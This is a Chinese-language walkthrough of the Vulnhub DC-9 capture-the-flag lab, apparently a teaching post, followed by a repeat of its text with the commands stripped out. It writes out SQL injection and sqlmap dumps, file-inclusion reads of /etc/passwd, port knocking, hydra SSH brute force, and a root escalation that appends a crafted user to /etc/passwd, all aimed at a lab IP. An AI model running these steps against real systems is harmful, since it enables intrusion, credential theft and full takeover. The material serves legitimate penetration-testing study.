Vulnhub DC: 9
字数 1255 2025-08-15 21:33:48

DC-9 靶机渗透测试教学文档

靶机概述

DC-9 是 Vulnhub 上 DC 系列的最后一个靶机,难度中等,思路清晰,适合中级渗透测试练习。靶机运行后显示 Web 和 SSH 服务,需要通过 SQL 注入、文件包含、端口敲门等多种技术获取最终 flag。

环境准备

  • 靶机:DC-9 (192.168.1.106)
  • 攻击机:Kali Linux
  • 网络:同一网段

渗透测试步骤

1. 主机发现与端口扫描

nmap 192.168.1.0/24
nmap -sV -p- -A -O 192.168.1.106

发现开放端口:

  • 22/tcp - SSH
  • 80/tcp - HTTP

2. Web 应用测试

2.1 初步探测

访问 http://192.168.1.106 发现可以输入信息,但页面不显示输入内容,判断使用 POST 方式提交。

2.2 SQL 注入测试

使用 Burp Suite 拦截请求,发现存在 SQL 注入漏洞:

' or 1=1 --

使用 sqlmap 自动化注入:

# 枚举数据库
sqlmap -u "http://192.168.1.106/results.php" --dbs --data "search=1" --batch

# 枚举 Staff 数据库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'Staff' -T 'Users' -C 'Username,Password' --dump --batch

# 枚举 users 数据库
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' --tables --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' --columns --batch
sqlmap -u "http://192.168.1.106/results.php" --data "search=1" -D 'users' -T 'UserDetails' -C 'username,password' --dump --batch

获取的凭据:

  • Staff.Users: admin / transorbital1
  • users.UserDetails: 多个用户凭据

2.3 Web 登录

使用 admin/transorbital1 登录后,发现页面底部显示"文件不存在",可能存在文件包含漏洞。

测试文件包含:

http://192.168.1.106/welcome.php?file=/etc/passwd

成功读取系统文件。

2.4 发现端口敲门服务

读取 knockd 配置文件:

http://192.168.1.106/welcome.php?file=/etc/knockd.conf

内容示例:

[options]
    UseSyslog

[openSSH]
    sequence = 7469,8475,9842
    seq_timeout = 25
    command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags = syn

[closeSSH]
    sequence = 9842,8475,7469
    seq_timeout = 25
    command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags = syn

3. 端口敲门激活 SSH

使用 nc 依次敲击端口:

nc 192.168.1.106 7469
nc 192.168.1.106 8475
nc 192.168.1.106 9842

再次扫描确认 22 端口已开放。

4. SSH 爆破

使用之前获取的凭据生成字典,使用 hydra 爆破:

hydra -L users.txt -P passwords.txt ssh://192.168.1.106

成功登录:

  • 用户名:janitor
  • 密码:Ilovepeepee

5. 横向移动

登录后检查隐藏文件:

ls -al

发现 .secrets-for-putin 文件,包含更多密码信息。

更新密码字典,再次爆破 SSH:
成功登录:

  • 用户名:fredf
  • 密码:B4-Tru3-001

6. 权限提升

6.1 检查 sudo 权限

sudo -l

发现可以以 root 身份执行 /opt/devstuff/dist/test/test

6.2 分析测试脚本

/opt/devstuff/dist/test/test 是一个 Python 脚本:

#!/usr/bin/python
import sys

if len (sys.argv) != 3 :
    print ("Usage: python test.py read append")
    sys.exit (1)
else :
    f = open(sys.argv[1], "r")
    output = (f.read())
    f = open(sys.argv[2], "a")
    f.write(output)
    f.close()

功能:读取第一个参数指定的文件内容,追加到第二个参数指定的文件中。

6.3 利用脚本提权

  1. /tmp 下创建恶意用户文件:
openssl passwd -1 -salt 123 123

输出示例:$1$123$nE5gIYTYiF1PIXVOFjQaW/

  1. 创建用户条目:
echo '123:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0::/root:/bin/bash' > /tmp/123
  1. 写入 /etc/passwd:
sudo /opt/devstuff/dist/test/test /tmp/123 /etc/passwd
  1. 切换到 root 用户:
su 123

输入密码:123

7. 获取 flag

成功获取 root 权限后,在系统目录中查找 flag 文件。

总结

本次渗透测试涉及的技术点:

  1. 基础信息收集与端口扫描
  2. SQL 注入漏洞利用
  3. 文件包含漏洞利用
  4. 端口敲门技术
  5. 密码爆破与横向移动
  6. 通过不安全的文件操作实现权限提升

关键学习点:

  • 多角度利用获取的凭据
  • 系统配置文件的敏感信息
  • Python 脚本的不安全使用可能导致提权
  • 端口敲门服务的识别与利用
DC-9 靶机渗透测试教学文档 靶机概述 DC-9 是 Vulnhub 上 DC 系列的最后一个靶机,难度中等,思路清晰,适合中级渗透测试练习。靶机运行后显示 Web 和 SSH 服务,需要通过 SQL 注入、文件包含、端口敲门等多种技术获取最终 flag。 环境准备 靶机:DC-9 (192.168.1.106) 攻击机:Kali Linux 网络:同一网段 渗透测试步骤 1. 主机发现与端口扫描 发现开放端口: 22/tcp - SSH 80/tcp - HTTP 2. Web 应用测试 2.1 初步探测 访问 http://192.168.1.106 发现可以输入信息,但页面不显示输入内容,判断使用 POST 方式提交。 2.2 SQL 注入测试 使用 Burp Suite 拦截请求,发现存在 SQL 注入漏洞: 使用 sqlmap 自动化注入: 获取的凭据: Staff.Users: admin / transorbital1 users.UserDetails: 多个用户凭据 2.3 Web 登录 使用 admin/transorbital1 登录后,发现页面底部显示"文件不存在",可能存在文件包含漏洞。 测试文件包含: 成功读取系统文件。 2.4 发现端口敲门服务 读取 knockd 配置文件: 内容示例: 3. 端口敲门激活 SSH 使用 nc 依次敲击端口: 再次扫描确认 22 端口已开放。 4. SSH 爆破 使用之前获取的凭据生成字典,使用 hydra 爆破: 成功登录: 用户名:janitor 密码:Ilovepeepee 5. 横向移动 登录后检查隐藏文件: 发现 .secrets-for-putin 文件,包含更多密码信息。 更新密码字典,再次爆破 SSH: 成功登录: 用户名:fredf 密码:B4-Tru3-001 6. 权限提升 6.1 检查 sudo 权限 发现可以以 root 身份执行 /opt/devstuff/dist/test/test 。 6.2 分析测试脚本 /opt/devstuff/dist/test/test 是一个 Python 脚本: 功能:读取第一个参数指定的文件内容,追加到第二个参数指定的文件中。 6.3 利用脚本提权 在 /tmp 下创建恶意用户文件: 输出示例: $1$123$nE5gIYTYiF1PIXVOFjQaW/ 创建用户条目: 写入 /etc/passwd: 切换到 root 用户: 输入密码:123 7. 获取 flag 成功获取 root 权限后,在系统目录中查找 flag 文件。 总结 本次渗透测试涉及的技术点: 基础信息收集与端口扫描 SQL 注入漏洞利用 文件包含漏洞利用 端口敲门技术 密码爆破与横向移动 通过不安全的文件操作实现权限提升 关键学习点: 多角度利用获取的凭据 系统配置文件的敏感信息 Python 脚本的不安全使用可能导致提权 端口敲门服务的识别与利用